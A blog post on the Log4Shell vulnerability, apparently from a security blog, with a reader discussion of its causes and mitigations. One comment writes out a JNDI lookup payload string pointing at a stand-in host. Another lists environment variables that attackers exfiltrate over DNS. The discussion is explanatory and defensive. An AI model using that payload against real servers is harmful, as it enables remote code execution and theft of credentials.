On the Log4j Vulnerability

It’s serious:

The range of impacts is so broad because of the nature of the vulnerability itself. Developers use logging frameworks to keep track of what happens in a given application. To exploit Log4Shell, an attacker only needs to get the system to log a strategically crafted string of code. From there they can load arbitrary code on the targeted server and install malware or launch other attacks. Notably, hackers can introduce the snippet in seemingly benign ways, like by sending the string in an email or setting it as an account username.

Threat advisory from Cisco. Cloudflare found it in the wild before it was disclosed. CISA is very concerned, saying that hundreds of millions of devices are likely affected.

Tags: , ,

Posted on December 14, 2021 at 9:55 AM • 56 Comments

Comments

Bernie • December 14, 2021 11:17 AM

Is there a way the existence & impact of this vulnerability might be used in positive way? For example, pointing out that government-mandated backdoors will end up in the wild just like this. Is that too much of a leap? Is it just too hard to convince people of what’s known to be good for them when they don’t know who to trust? (The old I get, the more I realize how naïve I am.)

Clive Robinson • December 14, 2021 11:21 AM

@ ALL,

Serious yes, unexpected no.

It’s hard to pull the truth from the “Oh Mee Gaud we’re all going to die” reporting stories.

However as I understand it, it’s at the base a lack of,

“User input sanitation”.

Not exactly a new problem “Ask Mrs Tables about her son bobby”…

But some are saying that other issues have since been discovered with the code.

AL • December 14, 2021 11:37 AM

One part that we can’t miss is the culprits, the people that are doing this.
I hear it is the Russians.

the majority of exploitation attempts against Log4Shell originate in Russia, according to Kaspersky researchers …

Wait a second. Someone else hears it is the Chinese.

Hackers including Chinese state-backed groups have launched more than 840,000 attacks on companies globally since last Friday …

Lemme guess, we’ll hear it is the Iranians, Venezuelans and North Koreans. Maybe we can round it off with the new kid on the block – the Hondurans.

MSB • December 14, 2021 11:55 AM

@Clive Robinson, lack of user input sanitization is just one side-effect of the modern software developement cycle.
It really comes down to a fundamental lack of understanding. Developers are lazy (yes, ALL of them). They will grab a tool like log4J because it’s an easy way to handle logging routines and someone else has already done the work, so why re-invent the wheel, right? Unfortunately most of them will not RTFM, so they have no idea it can actually do the things it was designed to do and thus, don’t take any precautions against that. It’s a bit of a Dunning-Kruger effect where devs overestimate their abilities (‘cuz they have l337 coding skillz!)
Combine that with late-stage capitalism, where it’s all about getting features shipped as quickly as possible, and fundamentally illegal attempts to attach conditions to a contract post-sale (aka, software licenses) protect the developers from any actual liability for the damages they cause, and, well, here we are.

kwaktrap • December 14, 2021 12:40 PM

User input sanitisation – that would help, no doubt.

But I think the vulnerable functionality is well outside reasonable expectations for a logging library. Perhaps I’m being unreasonable but I expect a logging component to take data I’ve supplied it and write it to a file, or database, or a network log sink of some kind. I don’t expect it to make requests to remote diectory servers and I don’t expect it to execute code received back from them. That just seems way out of scope for the business of logging, and if I wanted to do either of those things I’d expect to write some extra code to achieve it.

JonKnowsNothing • December 14, 2021 1:41 PM

@ MSB

re:
1. They will grab a tool like log4J because it’s an easy way to handle logging routines

  1. most of them will not RTFM

Not sure about your environment but in the ones I worked it it was more

  1. Q: We need to do XYZ. Does anyone know of something that does XYZ?
    A: Yeah WobbleWare can do that. We used it in my previous company.
  2. RTFM? There is no spoon….

Clive Robinson • December 14, 2021 4:18 PM

@ ALL,

It is many years now since I pointed out a problem about coding methodology and security.

That is error checking gets moved to the left business logic gets moved to the right.

In theory –only– it simplifies both… In practice though it creates other problems.

One of which is someone writing what they regard as “business code” assumes “error checking” has been done prior to their code being called… Therefore they assume every thing passed is intentional… To pull a figure out of the air nine times in eleven it’s probably not because it’s not checked.

Checking up front has advantages in that it alows bad input to be dumped early before it gets into the business logic. That is greate in simple systems but not complex ones.

You should always write code so that the errors are detected where they need to be, and they get passed back up the chain to a point where they can be dealt with in an alternate way.

Yes it means business logic gets complicated. But it has to be done for not just reliability but availability.

As a simple example on a unix box you have pleanty of file space, but you write lots of small files so you run out of inodes… What do you do, “crash and burn” the entire system, switch to an alternate file system or go get the last file you wrote and start appending to it so records are not lost whilst other things are done.

Few programers take responsability for dealing with both “errors and exceptions” because that code goes right to left and that requires serious understanding.

The second problem is “writing for reuse” what is viewed as business code “becomes all things to all men” or a “dog and pony show with quadrapeds pretending to be not just bipeds but carry objects on their noses”…

Whilst code reuse can be an admirable aim, it’s not when the result is code bloat, code over complexity, and all in functionality including doing the dishes.

Old style embedded systems designers who were “significantly resource constrained” had to trim not just the fat, but the lean meat down to the bone.

These things can be done, the trouble is it has two major time penalties,

1, The time to learn.
2, The time to implement.

Cost sensitive managment like neither and have a habit of prefering the “crash and burn” methodology of the good old “blue screen of death”.

Some may say that’s fine in consumer products, but realy is it?

I’d say no for two reasons,

1, You can not know where unreliability might matter.
2, You don’t always get a crash and burn so vulnarabilities happen instead.

Though in more than single user systems like servers, and service systems crash and burn is generally a major disaster any way…

Things should not just gracedully but in a way that can be rolled back where possible.

someone • December 14, 2021 5:51 PM

@Clive re: coding Frankly, I don’t regard what you describe as “coding”, and, I suspect, you really do not, either. It has been a long time since “coders” were replaced by “scripters”. When I was doing development, I took (had no choice, really) responsibility for all aspects of the design (interaction with the customer was obviously required) including writing all of the code, error checking, and documentation. I lost my first development position largely for refusing to take shortcuts. The project was developing what would now be called a self-service gasoline pump control program, to interface with my employer’s heating fuel distrbution management product. In RPGII, emulated in an IBM-PC environment, with a modicum of x86 assembler code thrown in where the emulation product (California Software Baby/34) had holes. This was in 1984. My emnployer wanted me to lie to the customer about progress and meeting deadlines, and create some bogus screenshots to support the lie. I refused. I had been granted a modest raise over what were bottom tier wages for programmers when this assignment was foisted on me. As my wife and I discovered at that tome that we were expecting our second child, I asked what I would need to accomplish to earn another such raise. Instead, I was told that my services would no longer ne required after 12/31 of that year (this conversation occurred sometime in November). I had followed that job into hinterlands where there were no other IT (then “DP”) opportunities. I guess I had a choice between regarding these events with bitterness, or accpepting them as a learning experience. I chose the former, with perhaps a smattering of the latter. One certainty is that I never, ever, accepted sloppy scriptmongers calling themselves “coders”. YMMV.

SpaceLifeForm • December 14, 2021 6:03 PM

As I noted on squid

https://www.zdnet.com/google-amp/article/second-log4j-vulnerability-found-apache-log4j-2-16-0-released/

`The description of the new vulnerability, CVE 2021-45046, says the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was “incomplete in certain non-default configurations.”

“This could allow attackers… to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack,” the CVE description says.

Apache has already released a patch, Log4j 2.16.0, for this issue. The CVE says Log4j 2.16.0 fixes the problem by removing support for message lookup patterns and disabling JNDI functionality by default. It notes that the issue can be mitigated in prior releases by removing the JndiLookup class from the classpath.

ResearcherZero • December 14, 2021 8:47 PM

@All

It’s the old problem of “security through obscurity”, and bad bureaucracy.

Commissioned reports on security issues have been ignored for decades. It’s contemptuous I might argue.

Governments have been badgered to impose regulation to improve the situation by security experts for decades, but have relied on the old excuse, “We will deal with it when we need to.”

I think I remember Defense and other departments recommending in reports to government that something be done about it.

Barely an eyelid fluttered over regular reports of telephone exchanges being infiltrated.

Russian crime groups were hacking ATMs as early as the 1990’s, pretending to be repairmen or by using insiders.

Malware was found in 20 machines in Russia running Windows XP. One system was infected as early as July 2007.

I was kind of under the impression money and security were important to government. Obviously, looking at the audits of government systems, I may have been wrong about that.

It’s an old problem, but “We will deal with it when we need to.”

Frankly https://wikileaks.org/wiki/Afghan_War_Diary,_2004-2010 should have been a bit of a wake-up-call, in more ways than one.

But instead of thanking people for pointing out that they have a bit of an outstanding security issue with their systems, and perhaps there should be some consideration of how the issue is approached, they throw the messenger in prison.

https://www.the-sun.com/news/4254520/wikileaks-founder-julian-assange-suffers-stroke-jail/

Government has even used unclassified material as an excuse to silence discussion of the problem.

“in an unprecedented legal maneuver, they said that some unclassified information concerning NSA should also be kept off the record.”
https://fas.org/blogs/secrecy/2011/05/drake_unclassified/

“Around 1,600 civil servants report to the inspector general, of whom around 90 worked for Crane until his departure. Their job is to follow up on internal problems, corruption and other violations of the law. In modern democracies, an inspector general is a kind of free safety who is supposed to ensure that the government apparatus is functioning according to the principles of the rule of law.”

“The errors Crane decries are those he thinks were made by the people in charge, who he thinks failed to properly implement guidelines and laws.”

“Crane’s suspicions continued to grow, especially after important documents pertaining to the Drake case disappeared from the inspector general’s office. Drake’s lawyer Jesselyn Raddack asked the court to demand the documents, saying they would prove that Drake was only in possession of the NSA documents on his private computer because he wanted to provide them to the inspector general. This would have granted Drake source protection and prevented him from prosecution.”

“Crane sighs and struggles to find the right words to explain his doubts. “I witnessed a dramatic example of what can happen to a whistleblower if he behaves as stipulated and turns to the official channels,” he says.”
https://www.spiegel.de/international/world/ex-us-official-reveals-risks-faced-by-internal-govt-critics-a-1093360.html

They should have been worried about problems like this a very long time ago.
Before the time children began hacking into the Pentagon, using SQL Injection, as all their libraries were outdated, I would argue.

ResearcherZero • December 14, 2021 8:55 PM

Incidentally, I should point out, it’s often customary to bang prisoners heads inside of transport to and from prison. They leave the prisoner handcuffed, but unrestrained, build up a bit of speed then break hard when the opportunity arises.

David Leppik • December 14, 2021 10:58 PM

The real issue is that library developers—the ones that make the most popular libraries, at least—seem to have a kitchen sink mentality. Provide every feature by default, and allow users (that is, other developers) to remove the features they don’t want.

Some background:

Java has its own logging library built in. Nobody outside Oracle uses it. Instead they use Log4j. Doesn’t matter if it’s Minecraft or S&P 500 business logic. They all use Log4j. It’s 20 years old—older than the built-in logger—and actively maintained.

Log4j has logging tools for every possible use case. These days logging to a remote server is really popular. BUT that is not what this exploit was about.

By default, Log4j has hooks into JNDI, which is a library built into Java for remote administration. Yes, Java applications have remote configuration hooks turned on by default—but the default is local access only.

This exploit is about sending a string of the form “${jndi:ldap://example.com/file}” to something that is likely to be logged, such as an HTTP header. By default, Log4j does string substitution, so it will try to log a string representing an JNDI lookup of the LDAP resource. To create that string, JNDI loads the resource, which may be a Java library.

Loggers—especially low-latency loggers—aren’t supposed to load new resources, but that would be hard to enforce without breaking useful features. JNDI by default is supposed to be accessible only to local processes, which happens to include JNDI’s own host process. And because JNDI is an administrative tool, it includes all the features an administrator might want out of the box, because administrators might need those features in a circumstance where they can’t restart the process.

This is a zero-day exploit, but all the pieces are well-documented behavior. It’s just when you string them together that the problem becomes clear.

The fundamental problem is that there are tons of popular or built-in Java libraries and components which are extremely flexible. Each one is individually designed with security in mind, but not hardened to the point where it would significantly inconvenience users. (If it did, users would choose a more convenient library.) The attack surface is enormous.

SpaceLifeForm • December 14, 2021 11:25 PM

Hot Environment Variables that attackers are going after via exfiltration over DNS

AWS_SECRET_ACCESS_KEY
CLASSPATH
DB_HOST
DB_USERNAME
DB_PASSWORD

ResearcherZero • December 14, 2021 11:56 PM

Anyone worried about the vulnerability can keep their eye on this guide which is being kept up to date with any developments.

“Because of the severe impact from this vulnerability, there has been a lot of discussion on the internet about it. Some of this information is outdated or wrong and will leave you vulnerable if you follow it!”

“In contrast, this guide has been written by a team of professional Security Engineers at LunaSec. Everything here has been peer-reviewed by multiple security experts, and where possible our sources will be linked for other Security professionals to verify against. This post links to many other guides and how-tos that we believe are trustworthy.”
https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/

Clive Robinson • December 15, 2021 12:30 AM

@ someone,

Frankly, I don’t regard what you describe as “coding”, and, I suspect, you really do not, either.

I’m an engineer by training and thought process, I’m known –on this blog and other places– to have said that much consumer and commercial level software production is not by engineering methods. Therefore I don’t like the term “Software engineer”.

It is a position that I can defend, however others have indicated that they think I was denegrating those developing software…

Your first job problem indicates one of the problems I’ve highlighted in the past about commercial code development, where managment take a certain viewpoint that effectively stops sound software development practice.

Back in the 1970’s and early 1980’s many of those developing software were horified to find their work was being re-worked from civil applications to military. They took action by moving jobs etc. The military starved of what they needed started setting up elaborate faux organisations and similar to lie to those developing software… They were obviously found out, but by that time the military had developed “software islands” where they were the only employer for miles around thus they had livelyhood leverage, so the workers had become “serfs”.

It did not end well, the best of programmers walked away and the millitary ended up with the meek and the mild who they could bully fairly easily[1], but not realy get what they wanted. Thus the “Government” finding it was falling behind, and the military mind was not of the kind they required, decided on the old,

“If it moves salute it, if it does not nove paint it”

Solution, or as some call it “Death by project managment”.

I won’t go through the details of why this “death march” started, but one side lying to the other, encoraged a similar response. As the former had no idea about the other a complicated fantasy got built up… Any one else remember “PRojects IN Controled Environments”(PRINCE)? Or how it developed into PRINCE 2 and how “military mentality managers” used to put on their CV’s how they had moved a project up a couple of fractional PRINCE points…

The old “wallpaper your ass” stratagy turned into a “Snow them with paperwork” and throw in a witches brew of unintelligible bureaucratic nonsense and the project was guarenteed to die by ineptitude.

But the best thing about PRINCE was a decades worth of “Consultants Fees” billable. Oh and all sorts of new “this will work this time” software development methodologies… Which has kind of gone full circle with “Scrum” where, shouting, screaming, abusing and bullying team members in front of a team is normalized and the results are about what you would expect…

That is some level of a Dante’s Divine Comedy, where those that are capable thus needed, plan their escape and do so. Whilst those to mild and meek, so to terified to personally develop remain behind. And so “the plant like” limbo of the “Seventh Circle of hell” prevails, where they are predated upon by harpies and beaten by bull like team leaders with the capacities that you would expect and the outcome or lack there of a foregone conclusion…

But don’t point this out, as some do not want this known, thus will attack the messenger…

[1] This actually got lampooned in a film of the times, it’s now considered a classic but for those old enough to have lived through it the development process “managment” shown in Wargames was only a little bit exaggerated…

MarkH • December 15, 2021 2:44 AM

Less than 30 hours ago, I talked with a web developer about this matter. He’s in the positions of being affected by it (a) because the corporate IT security guys added a scan for the vulnerability and shut down a broad range of servers, and (b) because he must mitigate it in the application system software for which he’s responsible.

[He despises Java and doesn’t use it for any development; there are legacy corners of the application system which are in Java.]

He gave me a dumbed-down explanation because, frankly, I’m a dummy. I’ll recount it dumbly, so I apologize in advance for the following “dumb squared.”

David Leppik did a fine job in his summary above. An additional detail I got from my friend is that Java lets you point to class code on a remote system which then overrides the local class (how insecure is THAT????).

MarkH • December 15, 2021 2:47 AM

continued:

Somehow it’s the combination of being able to log to remote servers and remote class overrides which is exploited in the attack, if I’m not mangling the whole concept.

The mitigations he described were either replacing the logging system with a security-patched version, or actually using the exploit to to override the dangerous code, so as to disable the remote code execution (the latter option may be more practical where it’s difficult to go through a standard software upgrade on short notice).

He also said that the HTTP User Agent header is a convenient place for attackers to implant the exploit string.

When I asked about searching for pre-discovery exploits in the wild, he told me two things:

1) A well-designed exploit can wipe its own footprints.

2) The most widely used application-independent network security loggers are written in Java, and use … wait for it … Log4j.

So if I understand correctly, on most servers — even if this vulnerability has been exploited for years — there may be no audit trail to show it.

Matt • December 15, 2021 5:51 AM

I just checked the code of a project that I developed years ago which I had written a custom logger for (just a public class with a method that writes to a file). Guess what, in the meantime some smart kid has replaced it with log4j. It still only logs to a file. I’m sure when he did it he was very proud of himself.

Bob Halloran • December 15, 2021 9:17 AM

Recommendation from Apache is to upgrade to the newest log4j 2.16 . There’s two bandaid fixes in the meantime for older versions, either setting an environment variable to disable the JNDI lookup option or ripping the class out of the log4j library.

That said, for any large company, there’s likely any number of third-party packages with old versions embedded that need patches that will take longer to get/test/install, leaving the need to hammer the vendors to get those patches out and/or turn things off until they do.

O'Malley • December 15, 2021 9:20 AM

@kwaktrap,

User input sanitisation – that would help, no doubt.

“Sanitisation” is the complete wrong way to look at this. It implies a blacklist approach, i.e., removing everything “dirty”; or perhaps one could use a whitelist and remove everything not “clean”, but that’s not right either. One needs to actually understand the input required by the code. In the case of SQL, for example, it’s not “text without apostrophes”, nor is it ASCII with apostrophes doubled up—an SQL statement is an encoding of one or more commands, in which any embedded text uses a subtle different encoding (and, therefore, non-SQL text must be transformed into SQL, much as one might transform ISO8859 into UTF8). Similarly, log4j wants a format string, and user input shouldn’t just be changed to resemble a format string any more than one would do that before calling printf() in C.

Most languages, including C and Java, make things difficult by using “strings” as a generic type for multiple distinct data types—natural language text to be displayed, or SQL or HTML, or data to be interpreted by the language’s runtime library; ASCII or UTF8 or ISO8859 or CP1257 or SJIS or a binary blob; null-terminated or non-null-terminated; etc. Confusing these different types of “strings” has been perhaps the biggest source of vulnerabilities in web-related software, at least, and few languages or programmers even recognise the root problem. (Look at how often programmers argue about what methods a “string” class should have, how its length should be determined, etc.—then realise we don’t agree, at all, on what a string actually is. Or see the POSIX filename mess in early versions of Python3.)

Clive Robinson • December 15, 2021 10:57 AM

@ O’Malley,

Most languages, including C and Java, make things difficult by using “strings” as a generic type for multiple distinct data types

There is a reason for this.

Serial characters arived long before computer hardware and programing languages… About a century before for early systems and half a century for what we would call teletype.

The first computers of any use were so resource constrained that input data was just serial daya often buffered only a few charecters at most by the veey primitive OS (more so than what we might call a BIOS).

The trouble is what comes first often becomes a standard…

Then people start getting fancy and do things the way they like so there might be many ways to do the same thing. For instance Comma Seperated Lists that are used as a form of flat file data storage for DBs and Spread Sheets and countless other programs including files used to store CAD images and the like.

As I noted about something as simple in theory as an Email address…

It’s something that is not going to change any time soon if ever.

Which brings us onto,

Confusing these different types of “strings” has been perhaps the biggest source of vulnerabilities in web-related software, at least, and few languages or programmers even recognise the root problem.

The languages can not nor should not be the place where such things are done, because it would place artificial constraints on data interoperability.

The real big issue that causes the bulk of the issues is as I indicated earlier, the habit of moving error checking left and business logic right. The seperation causes problems which can not be resolved easily or sometimes at all. What should be done is very specific checking immediately prior to actual usage. The smaller the gap, the less chance there is for vunerabilities to arise. One problem is of course it makes business logic more complicated. Another is error checking can become spread out which can and often does make maintainance complicated.

In anytging more complicated than a simple system, the programmer is in effect “caught between a rock and a hard place”.

There are “distributed” solutions that help but they can be “oh so slow” they are seen as not realy of use…

Sometimes it feels as if the C scanf() and isalpha() etc were the pinicle of what was once achievable and we’ve not realy moved forwards.

Lets be honest though and not kid ourselves, we’ve still not resolved things as seamingly simple as “white space” or “line discipline” issues…

kwaktrap • December 15, 2021 11:15 AM

@O’Malley, 99% agreed; it’s the wrong approach once we’re down to the level of constructing a logging call.

But it’s a valid defence-in-depth technique; an application that logged usernames without any restrictions on username syntax would be vulnerable while one that restricted them to alphanumeric strings would have survived, no matter how badly written the lower-level logging code … unless of course it logged the usernames it rejected (logging is a bit of a special case l-)

O'Malley • December 15, 2021 4:13 PM

@Clive Robinson,

The languages can not nor should not be the place where such things are done, because it would place artificial constraints on data interoperability.

Could you elaborate a bit on this? Most languages have no problem with a user writing a string concatenation such as html+=plaintext, even though those are fundamentally different datatypes. Taking advantage of a proper type system, a language could either reject that or first encode ‘plaintext’ to HTML before appending the data. Either would help with the problem, and I don’t see any significant interoperatibility constraints. If log4j had had separate FormatString and UntrustedUserString types, it would’ve taken a greater fool to get it wrong.

Being pedantic, such things may belong in the libraries rather than the languages per se, though Java’s “final class String” and special treatment of “+” blur the line. Equally pedantic, HTML itself has several different to-character encodings—text nodes, attribute values, and Javascript at least—and then another to-bytes encoding. I think at least one framework tried to get this right, but most libraries set their users up for failure by being unclear about what type of “string” goes where. (Python’s urllib.parse.quote, for example, takes a string and returns… a string: same class, totally different type of data, and it’s on the user to keep that straight.)

@kwaktrap,

But it’s a valid defence-in-depth technique; an application that logged usernames without any restrictions on username syntax would be vulnerable while one that restricted them to alphanumeric strings would have survived

I chose this username as a bit of a joke, and it’s one example where the “sanitising” approach often goes wrong. (It’s a bad web developer who blames the Irish for their SQL errors 🙂

Your phrasing worries me a little, too. You’re talking about restrictions at the logging level, not the username creation level; with my attacker hat on, my first thought is whether your “specification” would let me create an “unloggable” account. I don’t mean to be too hard on you for imprecise phrasing in a relatively informal setting. I’ve just seen too many instances in which subtly imprecise language appears in an informal context, then gets into a spec (if any), then into code, and then a few years later people are scrambling to fix the resultant hole.

lurker • December 15, 2021 6:06 PM

@kwaktrap

That just seems way out of scope for the business of logging,

@David Leppick

These days logging to a remote server is really popular.

How come logging to a remote server should ask the remote server for code and execute it locally?

SpaceLifeForm • December 15, 2021 6:35 PM

@ MarkH, Bob Halloran, Clive, Ted, O’Malley, kwaktrap, ALL

So if I understand correctly, on most servers — even if this vulnerability has been exploited for years — there may be no audit trail to show it.

There is no ‘may be’ about it.

See the Environment Variables I noted above.

Repeating:

That it can leak server-side environment variables to the attacker controlled DNS server (because the DNS traffic is most certainly cleartext), is, well, not good.

The problem is that the logging software does not log itself, and when it leaks, that the leak occurred, is itself, not logged.

Logging software should only write to disk or to internal servers.

It’s probably too late for many, but the best defense would have been egress firewall in the first place. That is still a good idea.

Let’s say an attacker uses an exploit, and gets in, and then discovers another attacker is already inside, what does the attacker do?

They probably make a mistake.

https://www.twitter.com/TinkerSec/status/1470761674227560452

Clive Robinson • December 15, 2021 8:23 PM

@ O’Malley,

Could you elaborate a bit on this?

I’d rather not as the history is long and it involves discussing “signaling” both “in band” and “out of band”.

However briefly “alphabets” are actually better treated as “unordered sets” not “numbers” even though we implicitly treat them as such in data communications. Worse glyphs have properties that alphabet set members do not. Then there is the issue of strings not even being propperly one dimensional, not two dimensional as is the usuall usage by humans. With the fun begining with “Left to Right -v- Right to Left” and a myriad of other “internationalization issues”. The word “Beartrap” and the phrase “Here be dragons” has real meaning for those that stray into the issues.

But for various historic reasons we use both “in band” and “out of band” signalling in data comms. With out of band signalling for ‘flow control” and in band signalling for “presentation”.

In programing languages neither “flow control” or “presentation” is required for them to function, so should not be “built into the language”. But functionality can be added via libraries for generic to very specific functionality (termcap, curses etc).

But “strings” do require signalling within programing languages and that causes all sorts of issues.

Consider Pascal and C strings. Pascal uses out of bound signalling that is a Pascal string has two parts, a length number, and a character array. The character array is bound by the limit of the length number, but all character in the array can be just characters (though mostly they are not due to RS232). C strings however use in band signalling and so do not require a length count as some of the characters are used for signalling not as alphabet set members. This has the advantage that a string is unbound in length, but the major disadvantages, one is that the string has no implicit length, the other that the string has both alphabet and control characters within it, thus “length” has become both an unknown for storage and presentation, but worse where in two dimensions it has multiple lengths and directions (vtab htab backspace carrage return etc).

Mapping Pascal strings into C strings whilst not trivial can be done, the opposit is in effect impossible. So you only get compatability not as strings but individual characters.

I could go on but I think you might start to see why “strings” are not just complex objects but ones that won’t translate from language to language, so “data transfer” becomes problematic at best.

Clive Robinson • December 15, 2021 9:11 PM

@ lurker, ALL,

How come logging to a remote server should ask the remote server for code and execute it locally?

Ahh the $64,000 question…

It is easy to answer but you won’t like the answer. Because it also highlights a major sickness in the ICT industry.

Firstly you have to remember a log is actually a database, and no database is the same at all sorts of levels.

Traditionally logs just had single line entries in “flat file format” it was upto the programe to get the format for the log right. If it did not there was limited cursing and muttering from SysAdmins, “but who cares about them”.

But logs over time have become not just useful, but actual legal requirments, and auditors have way more power than SysAdmins and way less sense of humour as for judges they may dress silly, but don’t go there.

Now… Obviously with a remote logging system you have no idea what the record format is, nor should you care in just about every programing methodology / paradime.

So your program insted has “variables with attributes” or even objects, so time, date, class of event etc etc etc. Your program associates the atributes and passes the variables, so cares not a jot what format the remote log is stored in, as that is the logging systems responsability. So what better place to have the required functionality? Yup on the remote logging server.

Whilst it makes a lot of sense from a business logic sense… Security wise it’s crazy crazy mad.

But guess who always holds the trump card to date?

Yup the business logic people, as they claim “security” is a “perimeter issue” and does not fall into their domain…

I can recommend a good supply of robust brown paper bags you can scream into…

SpaceLifeForm • December 15, 2021 10:58 PM

@ lurker, Clive, All

How come logging to a remote server should ask the remote server for code and execute it locally?

Do not be confused. There are two different servers involved.

One may be trusted, but the other is not.

The logging software is writing to the trusted server, but it also actually calls out to the attacker controlled server.

Fay • December 15, 2021 11:38 PM

The logging software is writing to the trusted server, but it also actually calls out to the attacker controlled server

…which is also trusted, in that it’s relied upon to enforce the system’s security policy. Even if that wasn’t widely recognized till now.

Clive Robinson • December 16, 2021 3:43 AM

@ SpaceLifeForm, Fey, lurker, Ted, ALL,

There are two different servers involved.

But trust is not established with either one, as in some peoples view doing so “just gets in the way” of business…

Which is why I said,

“Whilst it makes a lot of sense from a business logic sense… Security wise it’s crazy crazy mad.”

They do not want to understand why we need “Roots of trust”…

This is the sickness in the ICT industry which is killing it. To misquote a song,

“‘Fools,’ say I, ‘You do not know, insecurity like a cancer grows. Hear my words that I might teach you. Take up trust lest others reach you.'”

You could sing it loud, and sing it proud, when ever you go near programers 😉

And well maybe, Some day One day, it will get in those “Fools” heads and like an “earwig” refuse to leave 0:)

Oh and if you feel a little despondent about that prospect in the 1960’s a dream was given root, that is still there to this day, and is embraced by all with pride,

https://m.youtube.com/watch?v=1WJcW4z-foI

lurker • December 16, 2021 4:35 PM

@Clive, All, re $64,000 question.

Are the Unicode charsets missing a glyph for rhetorical questions?

Thanks Clive for your usual full answer. I suppose a TLDR would be:
Of course it’s a stupid thing to do, but people are being paid to do it…

SpaceLifeForm • December 18, 2021 5:26 PM

@ lurker, Fay, Ted, Clive, ALL

One may be trusted, but the other is not.

I should have said:

The trusted server has been subverted thru stupidity, and the other server is definitely not trustable.

Those that deployed log4j without realizing that there was a hook to JNDI, and did not connect the dots, made the mistake of not thinking outside the box.

An egress firewall could catch, log, and drop. Fail Fast. Break it.

If there were enough egress firewalls in place, this problem would have been known years ago.

Except for the leaking of Environment Variables via DNS, which probably would still get thru. But, maybe, logged. But, that requires someone to actually review the logs.

So, logging, by itself, is not a security policy. It is part of a security policy, it is necessary, but not sufficient.

Beware an org that has been using log4j 2.x for some time, and says that they log everything. They are probably not competent, because log4j does not log itself.

There has to be an egress firewall, that logs, and someone needs to review, constantly.

After an org patches, they need to roll all new keys and passwords.

Clive Robinson • December 18, 2021 9:09 PM

@ SpaceLifeForm, Fay, lurker, Ted, ALL,

There has to be an egress firewall, that logs, and someone needs to review, constantly.

Yes but,

1, Where is it gong to be put?
2, And to log what?
4, And to block what?

The standard for such systems is “on the Perimeter” just inside the router or other firewall…

Oh and lets say the request goes to one of Google, Amazon, Microsoft, etc. That is their clouds or other service systems, who’s going to block those at the firewall?

You see the problem?

Oh and what if they have gained a toe hold in some lowly users PC because they clicked on an email or other link etc and noe the PC gets used as a server, inside of the egress firewall?

It’s why I keep talking about hard segregation and isolation from external communications unless a definitive and properly mitigated reason exists, which as far as I can tell from experience almost never happens.

Tim • December 19, 2021 1:05 AM

An egress firewall could catch, log, and drop. Fail Fast. Break it.

I’m ok. I block everything except port 443 to cloudflare and AWS. Job done. 🙂

What could go wrong?

SpaceLifeForm • December 19, 2021 4:07 PM

@ lurker, Fay, Ted, Clive, ALL

If you properly segregate and subnet on your LAN, you can stop most of the problem fast.

Internal Clients get a different subnet than Internal Servers.

The router/firewall machine LOGs, and DROPs all NEW connection attempts of outbound traffic from the subnet assigned to internal servers.

Note this approach is protocol agnostic.

No DPI required either. If exceptions are required, and vetted, then one can add specific firewall rules to allow.

Compromised Internal Clients is a separate problem that already exists regardless of the log4j problem.

Clive Robinson • December 19, 2021 5:06 PM

@ SpaceLifeForm, lurker, Fay, Ted, ALL,

Internal Clients get a different subnet than Internal Servers.

This is the starting point for old style DMZ networking with servers as “Bastion Hosts” from oh about the first half of the 1990’s.

Whilst effective at many things it was seen as “expensive in resources” not just fiscally but in terms of effort etc. Especially as firewalls back then were one of two flavours “statefull” based on protocol proxies, or those doing direct routing control.

The latter being what you refere to with,

“Note this approach is protocol agnostic.”

But irrespective of the security advantages of maintaining seperation/segregation, people moved to the single “hybrid firewall” at the organisational perimeter just before the “up stream / gateway” router. In essence the driver was the makers of “network box firewalls” trying to unwisely “to be all things to all men”.

For around a quater of a century people have been saying such “perimeter defence” is a bad idea, as you note,

“Compromised Internal Clients is a separate problem that already exists regardless of the log4j problem.”

Yet try finding organisations that don’t use it as the “main model” on which they base things.

Which is why APT attackers work in the way they do, first they “jump the gate” often by social engineering, then they more or less “run around freely” without constraint or raising alarms. Most secure organizations don’t use “Perimeter Security” for their “Physical/Access Security” for good reason, so why they do so for ICTsec suggests a significant managment failing…

Perimeter Security is without doubt an “all eggs in one basket” approach, it’s the same “faulty perception” issue that underlies the “Castle-v-Prison” thinking about the design of secure computing hardware, and why few such systems exist, even though back in the CLI days most multi-tasking multi-user OS’s tried to enforce the issolation process, something Web Browsers destroyed.

You know what I’m going to say next about “history and not learning from it”, so should I bother?

Clive Robinson • December 19, 2021 5:28 PM

@ Ted,

You and I have sort of cross posted,

“But Gruyere or Camembert?”

Makes a nice sound bite as it once did about certain European Currencies back in the pre Euro days.

Where they used to refere to the “Camembert Mark” because although the German Mark looked a hard currency on the outside, it was an ilussion covering up the real state of affairs. That is in reality it was soft and yielding and like the French cheese stank…

Back then they were stopping German citizens at the boarder who had taken their life savings out in cash and were driving to banks in Belgium to open accounts in other currencies with their Marks…

Funny thing is if you now search the internet with,

“camembert Mark german monetary policy”

You get no hits… Relevent history just wiped out.

RealFakeNews • December 19, 2021 6:18 PM

I keep it simple: I do not trust 3rd party libraries. For anything.

Who the hell added all the other junk to Log4j? I am just totally not surprised that any of this crap gets exploited anymore, because people who write these things are just idiots who don’t understand that you keep functionality separate.

SpaceLifeForm • December 19, 2021 6:55 PM

@ lurker, Fay, Ted, Clive, ALL

In essence the driver was the makers of “network box firewalls” trying to unwisely “to be all things to all men”.

Yep. All eggs in one basket.

My model requires 3 router/firewall boxen. Besides the ISP provided box that may be a modem/router combination.

Defense in depth.

Lets call the ISP box I.

Now we roll 3 more machines behind that, arrayed in a triangle.

Call them W (Wan), S (Servers), and C (Clients).

S and C each have 3 NICs.

If needed, you can connect another called D (DMZ), connected to W, which then requires NIC 4 on W to interface to DMZ.

W has at least 3 NICs. S and C have 3 NICs.

W has one NIC to talk to I. Skipping D, for now, W can also talk to S and C.

C can talk to S, NOT GOING THRU W.

But S will block outbound connection attempts.

C can allow outbound connection attempts.

As long as the machines behind C and S are properly subnetted, with iptables, this is pretty trivial to stop unexpected outbound traffic.

Managing D from C is another can of worms, and one must be very careful.

If a client behind C can access D, and a C client has been compromised, then D could be also.

So, W must block outbound connection attempts from D.

Clear as mud, right?

It is totally doable. Triangle is good.

Clive Robinson • December 19, 2021 9:54 PM

@ Ted, ALL,

Do you like this song? Is this were we got the song ‘Carol of the Bells’?

It’s a simple “round” of a very short melody, that arose from chants, that have been done since long before music notation was invented, thus very probably not.

